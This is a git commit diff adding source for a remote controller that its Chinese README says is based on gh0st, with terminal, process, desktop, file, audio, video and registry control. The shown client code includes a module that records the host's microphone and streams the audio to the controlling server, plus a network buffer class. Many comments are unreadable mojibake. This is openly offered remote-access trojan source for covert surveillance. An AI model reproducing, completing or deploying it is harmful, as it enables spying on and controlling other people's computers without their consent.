基于gh0st的远程控制器
实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -1,5 +1,8 @@
|
|||||||
# Prerequisites
|
# Prerequisites
|
||||||
*.d
|
*.d
|
||||||
|
.svn
|
||||||
|
Debug
|
||||||
|
Release
|
||||||
|
|
||||||
# Compiled Object files
|
# Compiled Object files
|
||||||
*.slo
|
*.slo
|
||||||
|
|||||||
16
ReadMe.txt
Normal file
16
ReadMe.txt
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
[简介]
|
||||||
|
|
||||||
|
基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
|
||||||
|
|
||||||
|
来源:https://github.com/zibility/Remote
|
||||||
|
|
||||||
|
日期:2019.1.1
|
||||||
|
|
||||||
|
[更新日志]
|
||||||
|
|
||||||
|
2019.1.5
|
||||||
|
|
||||||
|
1、整理垃圾排版,优化上线下线处理逻辑。
|
||||||
|
2、修复部分内存泄漏问题,改善线程处理逻辑。
|
||||||
|
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
|
||||||
|
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
|
||||||
237
client/Audio.cpp
Normal file
237
client/Audio.cpp
Normal file
@@ -0,0 +1,237 @@
|
|||||||
|
// Audio.cpp: implementation of the CAudio class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "Audio.h"
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CAudio::CAudio()
|
||||||
|
{
|
||||||
|
m_bExit = FALSE;
|
||||||
|
m_hThreadCallBack = false;
|
||||||
|
m_bIsWaveInUsed = FALSE;
|
||||||
|
m_bIsWaveOutUsed = FALSE;
|
||||||
|
m_nWaveInIndex = 0;
|
||||||
|
m_nWaveOutIndex = 0;
|
||||||
|
m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||||
|
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||||
|
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
|
||||||
|
|
||||||
|
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
|
||||||
|
m_GSMWavefmt.wfx.nChannels = 1;
|
||||||
|
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
|
||||||
|
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
|
||||||
|
m_GSMWavefmt.wfx.nBlockAlign = 65;
|
||||||
|
m_GSMWavefmt.wfx.wBitsPerSample = 0;
|
||||||
|
m_GSMWavefmt.wfx.cbSize = 2;
|
||||||
|
m_GSMWavefmt.wSamplesPerBlock = 320;
|
||||||
|
|
||||||
|
m_ulBufferLength = 1000;
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
for (i = 0; i < 2; i++)
|
||||||
|
{
|
||||||
|
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
||||||
|
m_InAudioHeader[i] = new WAVEHDR;
|
||||||
|
|
||||||
|
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
|
||||||
|
m_OutAudioHeader[i] = new WAVEHDR;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CAudio::~CAudio()
|
||||||
|
{
|
||||||
|
m_bExit = TRUE;
|
||||||
|
if (m_bIsWaveInUsed)
|
||||||
|
{
|
||||||
|
waveInStop(m_hWaveIn);
|
||||||
|
waveInReset(m_hWaveIn);
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
|
||||||
|
waveInClose(m_hWaveIn);
|
||||||
|
WAIT (m_hThreadCallBack, 30);
|
||||||
|
if (m_hThreadCallBack)
|
||||||
|
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
{
|
||||||
|
delete [] m_InAudioData[i];
|
||||||
|
m_InAudioData[i] = NULL;
|
||||||
|
delete [] m_InAudioHeader[i];
|
||||||
|
m_InAudioHeader[i] = NULL;
|
||||||
|
}
|
||||||
|
if (m_hEventWaveIn)
|
||||||
|
{
|
||||||
|
SetEvent(m_hEventWaveIn);
|
||||||
|
CloseHandle(m_hEventWaveIn);
|
||||||
|
m_hEventWaveIn = NULL;
|
||||||
|
}
|
||||||
|
if (m_hStartRecord)
|
||||||
|
{
|
||||||
|
SetEvent(m_hStartRecord);
|
||||||
|
CloseHandle(m_hStartRecord);
|
||||||
|
m_hStartRecord = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_bIsWaveOutUsed)
|
||||||
|
{
|
||||||
|
waveOutReset(m_hWaveOut);
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
waveOutClose(m_hWaveOut);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
{
|
||||||
|
delete [] m_OutAudioData[i];
|
||||||
|
m_OutAudioData[i] = NULL;
|
||||||
|
delete [] m_OutAudioHeader[i];
|
||||||
|
m_OutAudioHeader[i] = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CAudio::InitializeWaveIn()
|
||||||
|
{
|
||||||
|
MMRESULT mmResult;
|
||||||
|
DWORD dwThreadID = 0;
|
||||||
|
|
||||||
|
HANDLE h = NULL;
|
||||||
|
m_hThreadCallBack = h = CreateThread(NULL, 0,
|
||||||
|
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
|
||||||
|
CREATE_SUSPENDED, &dwThreadID);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>豸COM 1 ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2 ֧<><D6A7>ͨ<EFBFBD><CDA8><EFBFBD>̻߳ص<CCBB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
|
||||||
|
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
|
||||||
|
|
||||||
|
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (mmResult != MMSYSERR_NOERROR)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
//¼<><C2BC><EFBFBD>豸 <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
for (int i=0; i<2; i++)
|
||||||
|
{
|
||||||
|
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||||
|
m_InAudioHeader[i]->dwFlags = 0;
|
||||||
|
m_InAudioHeader[i]->dwLoops = 0;
|
||||||
|
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
}
|
||||||
|
|
||||||
|
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||||
|
|
||||||
|
ResumeThread(h);
|
||||||
|
CloseHandle(h);
|
||||||
|
waveInStart(m_hWaveIn); //¼<><C2BC>
|
||||||
|
|
||||||
|
m_bIsWaveInUsed = TRUE;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
||||||
|
{
|
||||||
|
//¼<><C2BC><EFBFBD><EFBFBD>
|
||||||
|
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (dwBufferSize == NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
SetEvent(m_hStartRecord);
|
||||||
|
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
||||||
|
*dwBufferSize = m_ulBufferLength;
|
||||||
|
return m_InAudioData[m_nWaveInIndex]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||||
|
{
|
||||||
|
CAudio *This = (CAudio *)lParam;
|
||||||
|
|
||||||
|
MSG Msg;
|
||||||
|
|
||||||
|
while (GetMessage(&Msg, NULL, 0, 0))
|
||||||
|
{
|
||||||
|
if (This->m_bExit)
|
||||||
|
break;
|
||||||
|
if (Msg.message == MM_WIM_DATA)
|
||||||
|
{
|
||||||
|
SetEvent(This->m_hEventWaveIn);
|
||||||
|
WaitForSingleObject(This->m_hStartRecord, INFINITE);
|
||||||
|
|
||||||
|
Sleep(1);
|
||||||
|
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
|
||||||
|
|
||||||
|
|
||||||
|
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
|
||||||
|
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
||||||
|
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
||||||
|
if (mmResult != MMSYSERR_NOERROR)
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Msg.message == MM_WIM_CLOSE)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
TranslateMessage(&Msg);
|
||||||
|
DispatchMessage(&Msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout<<"waveInCallBack end\n";
|
||||||
|
This->m_hThreadCallBack = false;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
|
||||||
|
{
|
||||||
|
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 <20><>Ƶ<EFBFBD><C6B5>ʽ 2 <20><><EFBFBD><EFBFBD><EFBFBD>豸
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength)
|
||||||
|
{
|
||||||
|
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
|
||||||
|
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
|
||||||
|
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CAudio::InitializeWaveOut()
|
||||||
|
{
|
||||||
|
if (!waveOutGetNumDevs())
|
||||||
|
return FALSE;
|
||||||
|
int i;
|
||||||
|
for (i = 0; i < 2; i++)
|
||||||
|
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
MMRESULT mmResult;
|
||||||
|
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
|
||||||
|
if (mmResult != MMSYSERR_NOERROR)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
for (i = 0; i < 2; i++)
|
||||||
|
{
|
||||||
|
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
|
||||||
|
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||||
|
m_OutAudioHeader[i]->dwFlags = 0;
|
||||||
|
m_OutAudioHeader[i]->dwLoops = 0;
|
||||||
|
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
}
|
||||||
|
|
||||||
|
m_bIsWaveOutUsed = TRUE;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
44
client/Audio.h
Normal file
44
client/Audio.h
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
// Audio.h: interface for the CAudio class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||||
|
#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
#include <MMSYSTEM.H>
|
||||||
|
#include <MMReg.h>
|
||||||
|
|
||||||
|
|
||||||
|
class CAudio
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CAudio();
|
||||||
|
virtual ~CAudio();
|
||||||
|
GSM610WAVEFORMAT m_GSMWavefmt;
|
||||||
|
ULONG m_ulBufferLength;
|
||||||
|
LPWAVEHDR m_InAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
LPBYTE m_InAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
HANDLE m_hEventWaveIn;
|
||||||
|
HANDLE m_hStartRecord; //<2F><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>
|
||||||
|
HWAVEIN m_hWaveIn; //<2F>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
||||||
|
DWORD m_nWaveInIndex;
|
||||||
|
bool m_hThreadCallBack;
|
||||||
|
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||||
|
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
|
||||||
|
BOOL CAudio::InitializeWaveIn();
|
||||||
|
BOOL m_bIsWaveInUsed;
|
||||||
|
|
||||||
|
HWAVEOUT m_hWaveOut;
|
||||||
|
BOOL m_bExit;
|
||||||
|
BOOL m_bIsWaveOutUsed;
|
||||||
|
DWORD m_nWaveOutIndex;
|
||||||
|
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
|
||||||
|
BOOL CAudio::InitializeWaveOut();
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||||
120
client/AudioManager.cpp
Normal file
120
client/AudioManager.cpp
Normal file
@@ -0,0 +1,120 @@
|
|||||||
|
// AudioManager.cpp: implementation of the CAudioManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "AudioManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <Mmsystem.h>
|
||||||
|
#include <IOSTREAM>
|
||||||
|
|
||||||
|
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_bIsWorking = FALSE;
|
||||||
|
m_AudioObject = NULL;
|
||||||
|
|
||||||
|
if (Initialize()==FALSE)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BYTE bToken = TOKEN_AUDIO_START;
|
||||||
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
|
||||||
|
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
|
||||||
|
(LPVOID)this, 0, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch(szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_NEXT:
|
||||||
|
{
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
m_AudioObject->PlayBuffer(szBuffer, ulLength);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD CAudioManager::WorkThread(LPVOID lParam) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
CAudioManager *This = (CAudioManager *)lParam;
|
||||||
|
while (This->m_bIsWorking)
|
||||||
|
{
|
||||||
|
This->SendRecordBuffer();
|
||||||
|
}
|
||||||
|
|
||||||
|
cout<<"CAudioManager WorkThread end\n";
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CAudioManager::SendRecordBuffer()
|
||||||
|
{
|
||||||
|
DWORD dwBufferSize = 0;
|
||||||
|
DWORD dwReturn = 0;
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
|
||||||
|
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return 0;
|
||||||
|
//<2F><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||||
|
LPBYTE szPacket = new BYTE[dwBufferSize + 1];
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
|
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><CDB8><EFBFBD>Ϣ
|
||||||
|
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
||||||
|
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
|
if (dwBufferSize > 0)
|
||||||
|
{
|
||||||
|
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
||||||
|
}
|
||||||
|
delete szPacket;
|
||||||
|
return dwReturn;
|
||||||
|
}
|
||||||
|
|
||||||
|
CAudioManager::~CAudioManager()
|
||||||
|
{
|
||||||
|
m_bIsWorking = FALSE; //<2F>趨<EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA>
|
||||||
|
WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
|
||||||
|
|
||||||
|
if (m_AudioObject!=NULL)
|
||||||
|
{
|
||||||
|
delete m_AudioObject;
|
||||||
|
m_AudioObject = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//USB
|
||||||
|
BOOL CAudioManager::Initialize()
|
||||||
|
{
|
||||||
|
if (!waveInGetNumDevs()) //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>Ŀ ʵ<>ʾ<EFBFBD><CABE>ǿ<EFBFBD><C7BF><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
// SYS SYS P
|
||||||
|
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
|
||||||
|
if (m_bIsWorking==TRUE)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_AudioObject = new CAudio; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
m_bIsWorking = TRUE;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
31
client/AudioManager.h
Normal file
31
client/AudioManager.h
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
// AudioManager.h: interface for the CAudioManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||||
|
#define AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#include "Audio.h"
|
||||||
|
|
||||||
|
|
||||||
|
class CAudioManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
BOOL Initialize();
|
||||||
|
CAudioManager(IOCPClient* ClientObject, int n);
|
||||||
|
virtual ~CAudioManager();
|
||||||
|
BOOL m_bIsWorking;
|
||||||
|
HANDLE m_hWorkThread;
|
||||||
|
static DWORD WorkThread(LPVOID lParam);
|
||||||
|
int CAudioManager::SendRecordBuffer();
|
||||||
|
|
||||||
|
CAudio* m_AudioObject;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||||
177
client/Buffer.cpp
Normal file
177
client/Buffer.cpp
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
#include "StdAfx.h"
|
||||||
|
#include "Buffer.h"
|
||||||
|
|
||||||
|
#include <math.h>
|
||||||
|
|
||||||
|
|
||||||
|
#define U_PAGE_ALIGNMENT 3
|
||||||
|
#define F_PAGE_ALIGNMENT 3.0
|
||||||
|
CBuffer::CBuffer(void)
|
||||||
|
{
|
||||||
|
m_ulMaxLength = 0;
|
||||||
|
|
||||||
|
m_Ptr = m_Base = NULL;
|
||||||
|
|
||||||
|
InitializeCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
CBuffer::~CBuffer(void)
|
||||||
|
{
|
||||||
|
if (m_Base)
|
||||||
|
{
|
||||||
|
VirtualFree(m_Base, 0, MEM_RELEASE);
|
||||||
|
m_Base = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeleteCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
m_Base = m_Ptr = NULL;
|
||||||
|
m_ulMaxLength = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
if (ulLength > GetBufferMaxLength())
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (ulLength > GetBufferLength())
|
||||||
|
{
|
||||||
|
ulLength = GetBufferLength();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ulLength)
|
||||||
|
{
|
||||||
|
CopyMemory(Buffer,m_Base,ulLength);
|
||||||
|
|
||||||
|
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
|
||||||
|
m_Ptr -= ulLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeAllocateBuffer(GetBufferLength());
|
||||||
|
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return ulLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (ulLength < GetBufferLength())
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
|
|
||||||
|
if (GetBufferMaxLength() <= ulNewMaxLength)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
|
|
||||||
|
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
||||||
|
CopyMemory(NewBase,m_Base,ulv1);
|
||||||
|
|
||||||
|
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
|
|
||||||
|
m_Base = NewBase;
|
||||||
|
|
||||||
|
m_Ptr = m_Base + ulv1;
|
||||||
|
|
||||||
|
m_ulMaxLength = ulNewMaxLength;
|
||||||
|
|
||||||
|
return m_ulMaxLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
|
||||||
|
|
||||||
|
m_Ptr+=ulLength;
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (ulLength < GetBufferMaxLength())
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
|
if (NewBase == NULL)
|
||||||
|
{
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
|
CopyMemory(NewBase,m_Base,ulv1);
|
||||||
|
|
||||||
|
if (m_Base)
|
||||||
|
{
|
||||||
|
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
|
}
|
||||||
|
m_Base = NewBase;
|
||||||
|
m_Ptr = m_Base + ulv1; //1024
|
||||||
|
|
||||||
|
m_ulMaxLength = ulNewMaxLength; //2048
|
||||||
|
|
||||||
|
return m_ulMaxLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
VOID CBuffer::ClearBuffer()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
m_Ptr = m_Base;
|
||||||
|
|
||||||
|
DeAllocateBuffer(1024);
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
